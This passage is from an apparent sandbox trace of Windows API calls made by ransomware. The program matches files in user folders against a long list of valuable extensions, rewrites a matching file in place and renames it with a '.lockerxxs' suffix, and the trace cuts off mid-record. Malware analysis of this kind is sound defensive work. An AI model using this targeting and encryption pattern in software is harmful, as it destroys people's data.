(lpString="*.pptx") returned 6 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.doc") returned 0 [0086.858] lstrlenA (lpString="*.doc") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.dot") returned 0 [0086.858] lstrlenA (lpString="*.dot") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.docx") returned 0 [0086.858] lstrlenA (lpString="*.docx") returned 6 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.7z") returned 0 [0086.858] lstrlenA (lpString="*.7z") returned 4 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.tar") returned 0 [0086.858] lstrlenA (lpString="*.tar") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.bz2") returned 0 [0086.858] lstrlenA (lpString="*.bz2") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.gz") returned 0 [0086.858] lstrlenA (lpString="*.gz") returned 4 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mkv") returned 0 [0086.858] lstrlenA (lpString="*.mkv") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.eml") returned 0 [0086.858] lstrlenA (lpString="*.eml") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.msg") returned 0 [0086.858] lstrlenA (lpString="*.msg") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.edb") returned 0 [0086.858] lstrlenA (lpString="*.edb") returned 5 [0086.858] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.accdb") returned 0 [0086.859] lstrlenA (lpString="*.accdb") returned 7 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.odb") returned 0 [0086.859] lstrlenA (lpString="*.odb") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.java") returned 0 [0086.859] lstrlenA (lpString="*.java") returned 6 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.asm") returned 0 [0086.859] lstrlenA (lpString="*.asm") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.pfx") returned 0 [0086.859] lstrlenA (lpString="*.pfx") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.pem") returned 0 [0086.859] lstrlenA (lpString="*.pem") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.p12") returned 0 [0086.859] lstrlenA (lpString="*.p12") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.gpg") returned 0 [0086.859] lstrlenA (lpString="*.gpg") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.vsd") returned 0 [0086.859] lstrlenA (lpString="*.vsd") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.odg") returned 0 [0086.859] lstrlenA (lpString="*.odg") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.raw") returned 0 [0086.859] lstrlenA (lpString="*.raw") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.nef") returned 0 [0086.859] lstrlenA (lpString="*.nef") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.svg") returned 0 [0086.859] lstrlenA (lpString="*.svg") returned 5 [0086.859] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.psd") returned 0 [0086.860] lstrlenA (lpString="*.psd") returned 5 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.vmx") returned 0 [0086.860] lstrlenA (lpString="*.vmx") returned 5 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.vmdk") returned 0 [0086.860] lstrlenA (lpString="*.vmdk") returned 6 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.vdi") returned 0 [0086.860] lstrlenA (lpString="*.vdi") returned 5 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.lay6") returned 0 [0086.860] lstrlenA (lpString="*.lay6") returned 6 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mpeg") returned 0 [0086.860] lstrlenA (lpString="*.mpeg") returned 6 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.djvu") returned 0 [0086.860] lstrlenA (lpString="*.djvu") returned 6 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.tiff") returned 0 [0086.860] lstrlenA (lpString="*.tiff") returned 6 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.backup") returned 0 [0086.860] lstrlenA (lpString="*.backup") returned 8 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.pdf") returned 0 [0086.860] lstrlenA (lpString="*.pdf") returned 5 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.cert") returned 0 [0086.860] lstrlenA (lpString="*.cert") returned 6 [0086.860] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.docm") returned 0 [0086.860] lstrlenA (lpString="*.docm") returned 6 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.xlsm") returned 0 [0086.861] lstrlenA (lpString="*.xlsm") returned 6 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.dwg") returned 0 [0086.861] lstrlenA (lpString="*.dwg") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.nd") returned 0 [0086.861] lstrlenA (lpString="*.nd") returned 4 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.tlg") returned 0 [0086.861] lstrlenA (lpString="*.tlg") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.lgb") returned 0 [0086.861] lstrlenA (lpString="*.lgb") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mov") returned 0 [0086.861] lstrlenA (lpString="*.mov") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.xdw") returned 0 [0086.861] lstrlenA (lpString="*.xdw") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.ods") returned 0 [0086.861] lstrlenA (lpString="*.ods") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.wav") returned 0 [0086.861] lstrlenA (lpString="*.wav") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.mp3") returned 0 [0086.861] lstrlenA (lpString="*.mp3") returned 5 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.aiff") returned 0 [0086.861] lstrlenA (lpString="*.aiff") returned 6 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.flac") returned 0 [0086.861] lstrlenA (lpString="*.flac") returned 6 [0086.861] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", pszSpec="*.m4a") returned 1 [0086.861] lstrlenA (lpString="*.m4a") returned 5 [0086.862] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" [0086.862] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" [0086.862] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a." [0086.862] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a.lockerxxs" [0086.862] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\_brydauy-leitwtqohkx.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.862] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xb32 [0086.862] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xc12b6660, dwHighDateTime=0x1d5d883), lpLastAccessTime=0x407536*(dwLowDateTime=0x2cd35cb0, dwHighDateTime=0x1d5e563), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2cd35cb0, dwHighDateTime=0x1d5e563)) returned 1 [0086.862] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.863] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xb0c, lpOverlapped=0x0) returned 1 [0086.864] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a") returned="_bRYdAuy-LeItWTqOhkX.m4a" [0086.864] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.864] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb0c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb0c, lpOverlapped=0x0) returned 1 [0086.864] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.864] CloseHandle (hObject=0x90) returned 1 [0086.864] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\_brydauy-leitwtqohkx.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\_bRYdAuy-LeItWTqOhkX.m4a.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\_brydauy-leitwtqohkx.m4a.lockerxxs")) returned 1 [0086.865] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc12b6660, ftCreationTime.dwHighDateTime=0x1d5d883, ftLastAccessTime.dwLowDateTime=0x2cd35cb0, ftLastAccessTime.dwHighDateTime=0x1d5e563, ftLastWriteTime.dwLowDateTime=0x2cd35cb0, ftLastWriteTime.dwHighDateTime=0x1d5e563, nFileSizeHigh=0x0, nFileSizeLow=0xb32, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="_bRYdAuy-LeItWTqOhkX.m4a", cAlternateFileName="_BRYDA~1.M4A")) returned 0 [0086.865] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0086.866] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x52d540, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0086.866] lstrcmpA (lpString1=".", lpString2="Temporary Internet Files") returned -1 [0086.866] lstrcmpA (lpString1="..", lpString2="Temporary Internet Files") returned -1 [0086.866] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*") returned="*.*" [0086.866] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="Temporary Internet Files" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files" [0086.866] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned 68 [0086.866] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc12b6660, ftCreationTime.dwHighDateTime=0x1d5d883, ftLastAccessTime.dwLowDateTime=0x2cd35cb0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d5e563, nFileSizeHigh=0x0, nFileSizeLow=0xb32, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName="_bRYdAuy-LeItWTqOhkX.m4a", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0086.866] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1 [0086.866] lstrcmpA (lpString1=".", lpString2="VirtualStore") returned -1 [0086.866] lstrcmpA (lpString1="..", lpString2="VirtualStore") returned -1 [0086.866] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*.*") returned="*.*" [0086.866] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\", lpString2="VirtualStore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" [0086.866] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned 56 [0086.866] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd60001d7, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0086.867] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.867] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0086.867] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.867] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.867] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 0 [0086.867] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0086.867] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650054, dwReserved1=0x70006d, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0 [0086.867] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0086.867] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014f8, dwReserved1=0x3, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0086.867] lstrcmpA (lpString1=".", lpString2="LocalLow") returned -1 [0086.867] lstrcmpA (lpString1="..", lpString2="LocalLow") returned -1 [0086.867] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*.*") returned="*.*" [0086.867] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\", lpString2="LocalLow" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0086.867] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned 46 [0086.867] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x690056, dwReserved1=0x740072, cFileName=".", cAlternateFileName="")) returned 0x502518 [0086.867] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0086.867] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x740000, cFileName="..", cAlternateFileName="")) returned 1 [0086.867] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0086.868] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0086.868] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0086.868] lstrcmpA (lpString1=".", lpString2="Adobe") returned -1 [0086.868] lstrcmpA (lpString1="..", lpString2="Adobe") returned -1 [0086.868] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\*.*") returned="*.*" [0086.868] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\", lpString2="Adobe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0086.868] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned 52 [0086.868] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, 